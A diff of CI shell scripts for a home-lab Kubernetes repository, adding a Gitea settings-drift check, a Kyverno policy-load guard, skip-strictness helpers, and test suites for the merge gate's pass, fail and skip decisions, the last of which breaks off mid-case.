+# EXIT CODES (the gate contract)
+#   0  live Gitea matches the declaration
+#   1  DIVERGENCE — something drifted, or was never applied. Blocks the merge.
+#   3  SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
+#      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
+#      that an unwired credential cannot lock the repository.
+#
+# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
+# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
+# the drift it exists to catch is still undetected.
+#
+# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
+# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
+# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
+# detector sat inert for hours while a token existed and no secret did. The env var below still
+# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
+# the secret that would feed it cannot be created at all.
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: Gitea platform settings match the declaration"
+
+DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
+# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
+# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
+# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
+# it looked like it had worked. A token was minted, no secret existed, and this stage would
+# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+
+[ -f "$DECL" ] || die "declaration missing: ${DECL}"
+require_tool jq
+require_tool curl
+
+if [ -z "$TOKEN" ]; then
+  skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
+  skip "  Branch protection and runner registration are therefore UNVERIFIED. They were"
+  skip "  wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
+  summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+  exit 3
+fi
+
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+BRANCH="$(jq -r '.branch' "$DECL")"
+LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
+if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
+  skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
+  skip "  lacks permission). Not treating this as a pass."
+  summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
+  exit 3
+fi
+
+RC=0
+
+# --- 1. every declared protection key must match the live rule, exactly ---------------
+while IFS= read -r key; do
+  want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
+  got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
+  if [ "$want" = "$got" ]; then
+    ok "  ${key} = ${got}"
+  else
+    err "  ${key}: DECLARED ${want} but LIVE is ${got}"
+    RC=1
+  fi
+done < <(jq -r '.protection | keys[]' "$DECL")
+
+# --- 2. a runner must actually be online ----------------------------------------------
+MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
+RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
+N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
+if [ "${N:-0}" -ge "$MIN" ]; then
+  ok "  runners online: ${N} (>= ${MIN})"
+else
+  err "  runners online: ${N}, DECLARED minimum ${MIN}."
+  err "  A required status check with no runner leaves every PR pending forever —"
+  err "  including the PR that would fix it. This is the 2026-09-29 outage condition."
+  RC=1
+fi
+
+if [ "$RC" -eq 0 ]; then
+  ok "Gitea settings match the declaration."
+  summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
+else
+  err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
+  err "  Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
+  err "  state is what you now want, change the DECLARATION in the same commit — deliberately."
+  summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
+fi
+exit "$RC"

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

ci/l1.sh

@@ -30,11 +30,13 @@ req_args=(${REQ_ARGS[@]+"${REQ_ARGS[@]}"})
 # (conformance/_artifacts/) and does NOT accept --junit/--coverage. Invoke by layer +
 # touched subset, then COLLECT its artifacts into the CI artifact dirs.
 # --include-scope: union the touched subset with every L1 test DECLARING
-# `conformance.home.k3s/scope: whole-repo`. No L1 test declares it today, so this is a no-op
-# now — it is wired HERE, once, so the NEXT whole-repo invariant (at any layer) is picked up by
-# declaring the annotation, instead of needing someone to remember to hand-write a stage. That
-# "someone must remember" is the failure mode this whole change removes; see
-# conformance/lib/common.sh. rc 3 = a scope-declared check SKIPPED = UNWIRED, never a pass.
+# `conformance.home.k3s/scope: whole-repo`. As of 2026-09-18 ALL THREE L1 tests declare it, so this
+# is load-bearing rather than a no-op: every L1 golden is checked on every gate run, whatever the
+# touched paths attribute. It was wired HERE first, ahead of any declaration, so picking up a new
+# whole-repo invariant needs only the annotation instead of someone remembering to hand-write a
+# stage — and that "someone must remember" is exactly how the 2026-09-04 external-dns merge gated
+# GREEN while leaving all three goldens stale (see the rationale in the Tests themselves).
+# rc 3 = a scope-declared check SKIPPED = UNWIRED, never a pass.
 : "${WHOLE_REPO_SCOPE:=whole-repo}"
 l1_rc=0
 "$CONFORMANCE_CMD" --layer l1 --include-scope "$WHOLE_REPO_SCOPE" \

ci/lib.sh

@@ -72,15 +72,59 @@ entrypoint_ready() {
   return 1
 }
 
+# truthy <value> — the ONE place the repo's "is this switch on" spelling lives, so
+# CLUSTER_AVAILABLE / REQUIRE_CLUSTER_TESTS / REQUIRE_SPEC_VERIFICATION / GATE_STRICT_SKIPS
+# all agree. Anything not listed is OFF, and that direction matters: a misspelled value
+# (CLUSTER_AVAILABLE=ture, REQUIRE_SPEC_VERIFICATION=yeah) leaves the guard OFF rather than
+# silently declaring a capability "available", so a typo can only make the gate stricter about
+# what it claims to have verified, never looser.
+truthy() {
+  case "${1:-}" in
+    true|TRUE|True|1|yes|YES|y|on|ON) return 0 ;;
+    *) return 1 ;;
+  esac
+}
+
 # --- Cluster detection (drives SKIP vs run for L2/L3) -------------------------
-# A cluster is 'available' only if explicitly declared. We NEVER auto-assume a
+# A cluster is 'available' only if explicitly DECLARED. We NEVER auto-assume a
 # cluster in Phase 0 — silence means SKIP, not pass (HARD RULE 4).
 #   CLUSTER_AVAILABLE=true   -> L2/L3 run and are REQUIRED green
 #   CLUSTER_AVAILABLE=false/unset -> L2/L3 SKIP (reported, never faked green)
-cluster_available() {
-  case "${CLUSTER_AVAILABLE:-false}" in
-    true|1|yes) return 0 ;;
-    *) return 1 ;;
+# That DECLARATION is what makes an L2/L3 skip different IN KIND from every other skip —
+# see "WHICH SKIPS BLOCK, AND WHY" in ci/gate.sh.
+cluster_available() { truthy "${CLUSTER_AVAILABLE:-false}"; }
+
+# --- Skip strictness: is this a CI runner, or a workstation? -------------------
+# A SKIPPED stage is never green anywhere (HARD RULE 4), but its SEVERITY differs:
+#
+#   CI       the pinned toolchain is installed by .gitea/workflows/scripts/install-tools.sh
+#            before the gate runs, and every seam is on `main`. A stage that skips here is a
+#            DEFECT (a tool dropped from the installer, a seam that went unwired) -> BLOCK.
+#   local    a missing pinned tool is a real, ordinary local condition -> the gate reports
+#            UNDETERMINED (exit 3): not green, not a pass, but distinguishable from a red.
+#
+# HOW STRICTNESS IS DECIDED — DECLARED first, detected only as a fallback:
+#
+#   1. GATE_STRICT_SKIPS=true|false is the AUTHORITY. .gitea/workflows/gate.yml sets `true` on
+#      the gate step, so on the one CI runner that matters strictness is a DECLARATION IN THE
+#      WORKFLOW, not an inference: the environment that KNOWS it is CI says so, and no
+#      env-var sniffing can get it wrong.
+#   2. `auto` (the default — anywhere the caller said nothing) falls back to GITHUB_ACTIONS /
+#      CI, which are set by the runner ITSELF (Gitea's act_runner, as well as GitHub). We do
+#      NOT sniff hostnames, paths or tool availability: a heuristic that guesses "this looks
+#      like CI" is exactly the unreliable inference this gate must not contain.
+#
+# WHY A WRONG ANSWER CANNOT FAIL OPEN: both branches are non-zero and NEITHER is a pass. A CI
+# run misread as local yields UNDETERMINED (exit 3) instead of BLOCKED (exit 1) — that still
+# fails the job unless its caller explicitly tolerates 3, which gate.yml does only knowingly
+# and only for the one declared-environmental skip (see its comment). A workstation misread as
+# CI yields BLOCKED instead of UNDETERMINED — harsher, never looser. Set GATE_STRICT_SKIPS=true
+# locally to rehearse CI strictness.
+: "${GATE_STRICT_SKIPS:=auto}"
+strict_skips() {
+  case "$GATE_STRICT_SKIPS" in
+    auto) truthy "${GITHUB_ACTIONS:-}" || truthy "${CI:-}" ;;
+    *)    truthy "$GATE_STRICT_SKIPS" ;;
   esac
 }
 
@@ -130,7 +174,16 @@ load_touched_requirements() {
     warn "  Running the FULL layer as a superset sanity net; the SCOPED R-TEST-03"
     warn "  coverage check is NOT performed here — ci/gate.sh reports that as UNDECIDED."
   elif [ "$rc" -ne 0 ]; then
-    warn "touched-requirements.sh exited ${rc}; proceeding with the full layer."
+    # Any OTHER non-zero exit means the subset is UNUSABLE, not empty (today: a
+    # path->requirement map that cannot classify a changed path, once that map fails closed).
+    # The FULL layer still runs here as a superset — nothing goes untested — but this stage must
+    # not claim the SCOPED check happened, and ci/gate.sh turns the same exit into a BLOCKED
+    # merge decision. Wording carried over from the unlanded fix/touched-requirements-fail-closed
+    # (47068ee), whose gate-side half this branch lands.
+    warn "touched-requirements.sh exited ${rc} (subset UNUSABLE — see its output above)."
+    warn "  Running the FULL layer as a superset; the SCOPED R-TEST-03 check did NOT happen."
+    warn "  ci/gate.sh BLOCKS the merge on this: fix the path->requirement map in"
+    warn "  ci/touched-requirements.sh so every changed path is classified."
   elif [ "${#TOUCHED_REQS[@]}" -gt 0 ]; then
     log "touched requirements: ${TOUCHED_REQS[*]}"
     REQ_ARGS=(--requirements "$(IFS=,; echo "${TOUCHED_REQS[*]}")")

ci/tests/decisions-log.test.sh

@@ -0,0 +1,130 @@
+#!/usr/bin/env bash
+# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
+#
+# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
+# for every other open branch. A guard against a silent regression is itself worth nothing
+# unless somebody has watched it reject the thing it claims to reject, so each case below
+# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
+# as ci/tests/gate-decision.test.sh, one layer down.
+set -uo pipefail
+REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+
+# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
+mk_tree() {
+  local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
+  cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
+  printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
+  ( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
+  mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
+  # REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
+  ( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
+}
+
+mk_entry() {
+  cat > "$1" <<ENTRY
+---
+date: $2
+branch: chore/example
+title: An example entry
+---
+
+## What changed
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I verified
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I did NOT verify
+
+Enough prose here to clear the twenty-character body floor comfortably.
+ENTRY
+}
+
+# run <dir> -> sets RC and OUT
+run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
+
+D="${TMP}/t"
+
+echo "== 1. a well-formed tree passes"
+mk_tree "$D"; run "$D"
+[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
+
+echo
+echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
+mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
+                || bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
+grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
+                                    || bad "the message does not say the archive is frozen"
+grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
+                                           || bad "the message does not name the remedy"
+
+echo
+echo "== 3. a re-pin is a deliberate, accepted act"
+mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
+( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
+[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
+
+echo
+echo "== 4. a missing pin is unverifiable, not green"
+mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
+[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
+
+echo
+echo "== 5. entry naming"
+for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
+  mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
+done
+mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
+[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
+
+echo
+echo "== 6. frontmatter"
+mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
+
+for key in date branch title; do
+  mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
+done
+
+# The copied-template failure: the body was rewritten, the date never was.
+mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
+                || bad "accepted a date/filename disagreement"
+
+echo
+echo "== 7. the three required sections, and their bodies"
+for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
+  mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
+done
+
+# A heading with nothing under it is the way this floor gets defeated in practice.
+mk_tree "$D"
+python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
+import sys,re
+p=sys.argv[1]; s=open(p).read()
+s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
+open(p,'w').write(s)
+PY
+run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
+
+echo
+echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
+mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
+[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
+
+echo
+if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
+else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/gate-decision.test.sh

@@ -0,0 +1,210 @@
+#!/usr/bin/env bash
+# ci/tests/gate-decision.test.sh — the merge gate's OWN decision table.
+#
+# WHY THIS SUITE EXISTS (2026-09-13). ci/gate.sh used to set BLOCK=1 for a FAILED stage but
+# only `warn` for a SKIPPED one, so it printed the words "— not green" and then concluded
+# `MERGE GATE: PASS` and exited 0. Observed live twice: `prom-rules` skipped for a missing
+# promtool, and `l0` skipped for a missing pinned kyverno CLI — both read by automation as
+# merge-approved. That is fail-open in the one component whose entire job is to fail closed,
+# and nothing tested it: every other ci/tests suite covers the INPUT (touched-requirements),
+# none covered the DECISION.
+#
+# WHAT IS UNDER TEST: the real ci/gate.sh and ci/lib.sh, copied into a throwaway CI_DIR beside
+# STUB stage scripts whose exit codes this suite dictates (STAGE_RC_<stage>) and a stub
+# touched-requirements.sh whose rc/reason it dictates (TR_RC / TR_REASON / TR_OUT). Stubbing the
+# stages is the point: this asserts how the gate REASONS about pass/fail/skip, independently of
+# what any stage happens to do on this machine — so it runs anywhere, with no tools, no cluster,
+# no network, in milliseconds.
+#
+# THE INVARIANT: `MERGE GATE: PASS` + exit 0 means every stage that was supposed to run RAN and
+# was GREEN. A stage that could not run is never a pass, and the exit code says so too.
+#
+# Run:  ci/tests/gate-decision.test.sh     (or `make -C ci test`)
+set -uo pipefail
+
+REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+TMP="$(mktemp -d)"
+trap 'rm -rf "$TMP"' EXIT
+CI="${TMP}/ci"; mkdir -p "$CI"
+REPO="${TMP}/repo"; mkdir -p "$REPO"
+
+cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
+
+# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
+# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
+# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
+# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
+# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
+# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
+# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
+for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
+  cat > "${CI}/${stage}.sh" <<'STUB'
+#!/usr/bin/env bash
+n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
+exit "${!v:-0}"
+STUB
+  chmod +x "${CI}/${stage}.sh"
+done
+
+# Stub decision input. TR_RC (default 0), TR_REASON (written to $TOUCHED_REASON_FILE like the
+# real script does), TR_OUT (the touched requirement list on stdout).
+cat > "${CI}/touched-requirements.sh" <<'STUB'
+#!/usr/bin/env bash
+if [ -n "${TOUCHED_REASON_FILE:-}" ]; then printf '%s\n' "${TR_REASON:-}" > "$TOUCHED_REASON_FILE"; fi
+[ -n "${TR_OUT:-}" ] && printf '%s\n' "$TR_OUT"
+exit "${TR_RC:-0}"
+STUB
+chmod +x "${CI}/touched-requirements.sh"
+
+# run_gate <VAR=VAL>... — run the gate with a clean, explicit environment. Sets OUT and RC.
+# GATE_STRICT_SKIPS is pinned false unless a case says otherwise, so the suite never depends on
+# whether the machine running it happens to look like CI.
+OUT="" RC=0
+run_gate() {
+  local summary_file="${TMP}/summary.md"; : > "$summary_file"
+  OUT="$(env -i PATH="$PATH" HOME="$HOME" \
+        REPO_ROOT="$REPO" GITHUB_STEP_SUMMARY="$summary_file" \
+        GATE_STRICT_SKIPS=false TR_OUT="R-TEST-03" \
+        "$@" bash "${CI}/gate.sh" 2>&1)"
+  RC=$?
+  SUMMARY="$(cat "$summary_file")"
+}
+
+# assert_verdict <headline> <expected-rc> <label>
+assert_verdict() {
+  local want="$1" want_rc="$2" label="$3"
+  if ! grep -qF "MERGE GATE: ${want}" <<<"$OUT"; then
+    bad "${label}: headline should be '${want}' — got: $(grep -oE 'MERGE GATE: [A-Z ]+' <<<"$OUT" | tail -1)"
+  elif [ "$RC" -ne "$want_rc" ]; then
+    bad "${label}: headline '${want}' correct but exit code ${RC} != ${want_rc}"
+  else
+    ok "${label} -> ${want}, exit ${want_rc}"
+  fi
+}
+# The load-bearing negative: nothing may say PASS, and nothing may exit 0.
+assert_not_pass() {
+  local label="$1"
+  if grep -qF "MERGE GATE: PASS" <<<"$OUT"; then bad "${label}: printed 'MERGE GATE: PASS'"
+  elif [ "$RC" -eq 0 ]; then bad "${label}: exited 0"
+  else ok "${label}: not a PASS, non-zero exit (${RC})"; fi
+}
+
+echo "== 1. the happy path: every stage green"
+run_gate
+assert_verdict PASS 0 "all stages green + a touched subset"
+grep -qF "nothing was declared out of scope" <<<"$SUMMARY" \
+  && ok "PASS summary states nothing was declared out of scope" \
+  || bad "PASS summary does not state the absence of declared gaps"
+
+echo
+echo "== 2. a FAILED stage blocks (unchanged behaviour, locked down)"
+for s in lint l0 render-golden l1 conformance spec-immutability; do
+  run_gate "STAGE_RC_${s//-/_}=1"
+  assert_verdict BLOCKED 1 "${s} FAILED"
+done
+
+echo
+echo "== 3. THE REGRESSION: a SKIPPED stage is not a PASS and not exit 0"
+for s in lint l0 render-golden l1; do
+  run_gate "STAGE_RC_${s//-/_}=3"
+  assert_not_pass "${s} SKIPPED (local)"
+  assert_verdict UNDETERMINED 3 "${s} SKIPPED (local)"
+  grep -qF "$s" <<<"$SUMMARY" && ok "${s}: the step summary names the stage that did not run" \
+                              || bad "${s}: step summary does not name the skipped stage"
+done
+
+echo
+echo "== 4. under STRICT skips (CI declares it) a could-not-run skip BLOCKS, never merely 3"
+for s in lint l0 render-golden l1; do
+  run_gate GATE_STRICT_SKIPS=true "STAGE_RC_${s//-/_}=3"
+  assert_verdict BLOCKED 1 "${s} SKIPPED with GATE_STRICT_SKIPS=true"
+done
+# ...which is what makes gate.yml's `|| [ $? -eq 3 ]` safe: in CI, exit 3 cannot be a missing
+# tool or an unwired seam. Only the declared-environmental skip below can produce it.
+run_gate GATE_STRICT_SKIPS=true STAGE_RC_l0=3 STAGE_RC_lint=3
+assert_verdict BLOCKED 1 "several stages SKIPPED under strict skips"
+
+echo
+echo "== 5. spec-immutability: unverified is never green, but is not upgraded to a block by CI"
+run_gate STAGE_RC_spec_immutability=3
+assert_not_pass "spec-immutability SKIPPED"
+assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED (local)"
+run_gate GATE_STRICT_SKIPS=true STAGE_RC_spec_immutability=3
+assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED under strict skips (deliberate exception)"
+run_gate REQUIRE_SPEC_VERIFICATION=true STAGE_RC_spec_immutability=3
+assert_verdict BLOCKED 1 "spec-immutability SKIPPED + REQUIRE_SPEC_VERIFICATION=true"
+
+echo
+echo "== 6. conformance L2/L3: a DECLARED-absent capability may still pass — and is NAMED"
+run_gate STAGE_RC_conformance=3
+assert_verdict PASS 0 "conformance SKIPPED, no cluster declared"
+grep -qF "conformance-l2-l3" <<<"$OUT" \
+  && ok "the PASS headline names the declared L2/L3 gap" \
+  || bad "the PASS headline hides the declared L2/L3 gap"
+grep -qF "conformance-l2-l3" <<<"$SUMMARY" \
+  && ok "the step summary names the declared L2/L3 gap" \
+  || bad "the step summary hides the declared L2/L3 gap"
+run_gate CLUSTER_AVAILABLE=true STAGE_RC_conformance=3
+assert_verdict BLOCKED 1 "conformance SKIPPED despite CLUSTER_AVAILABLE=true"
+run_gate REQUIRE_CLUSTER_TESTS=true STAGE_RC_conformance=3
+assert_verdict BLOCKED 1 "conformance SKIPPED + REQUIRE_CLUSTER_TESTS=true with a touched subset"
+# A misspelled switch must leave the guard OFF (truthy()), never half-on.
+run_gate CLUSTER_AVAILABLE=ture STAGE_RC_conformance=3
+assert_verdict PASS 0 "CLUSTER_AVAILABLE=ture is NOT 'available' (no cluster was declared)"
+run_gate CLUSTER_AVAILABLE=TRUE STAGE_RC_conformance=3
+assert_verdict BLOCKED 1 "CLUSTER_AVAILABLE=TRUE IS a declaration (skip then blocks)"
+
+echo
+echo "== 7. the undetermined touched subset: unchanged (2026-08-31 false-green paths)"
+run_gate TR_RC=3 TR_REASON=on-base TR_OUT=
+assert_verdict "NOT APPLICABLE" 0 "subset undeterminable, reason on-base, all stages green"
+run_gate TR_RC=3 TR_REASON=no-base TR_OUT=
+assert_verdict BLOCKED 1 "subset undeterminable, reason no-base"
+run_gate TR_RC=3 TR_REASON=diff-failed TR_OUT=
+assert_verdict BLOCKED 1 "subset undeterminable, reason diff-failed"
+# Precedence: a stage that did not run outranks "nothing to gate" — the stronger, non-zero
+# headline must win, or a push-to-main run could hide a missing tool behind NOT APPLICABLE.
+run_gate TR_RC=3 TR_REASON=on-base TR_OUT= STAGE_RC_l1=3
+assert_not_pass "on-base AND l1 SKIPPED"
+assert_verdict UNDETERMINED 3 "on-base AND l1 SKIPPED (UNDETERMINED outranks NOT APPLICABLE)"
+
+echo
+echo "== 8. an UNUSABLE subset blocks (carried over from 47068ee): any other non-zero exit"
+for rc in 1 2 4; do
+  run_gate "TR_RC=${rc}" TR_REASON=unclassified-path TR_OUT=
+  assert_verdict BLOCKED 1 "touched-requirements.sh exited ${rc} (subset unusable, not empty)"
+done
+run_gate TR_RC=1 TR_REASON=unclassified-path TR_OUT=
+grep -qF "UNUSABLE" <<<"$SUMMARY" && ok "the step summary calls the subset UNUSABLE" \
+                                  || bad "the step summary does not report an unusable subset"
+
+echo
+echo "== 9. combinations: a FAILURE outranks a non-run, and the headline is the worst news"
+run_gate STAGE_RC_l0=1 STAGE_RC_l1=3
+assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
+run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
+assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
+
+echo
+echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
+# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
+# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
+# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
+# if one is ever reported it is a defect in the stage, and the gate must not soften it into
+# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
+# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
+run_gate STAGE_RC_decisions_log=1
+assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
+run_gate STAGE_RC_decisions_log=3
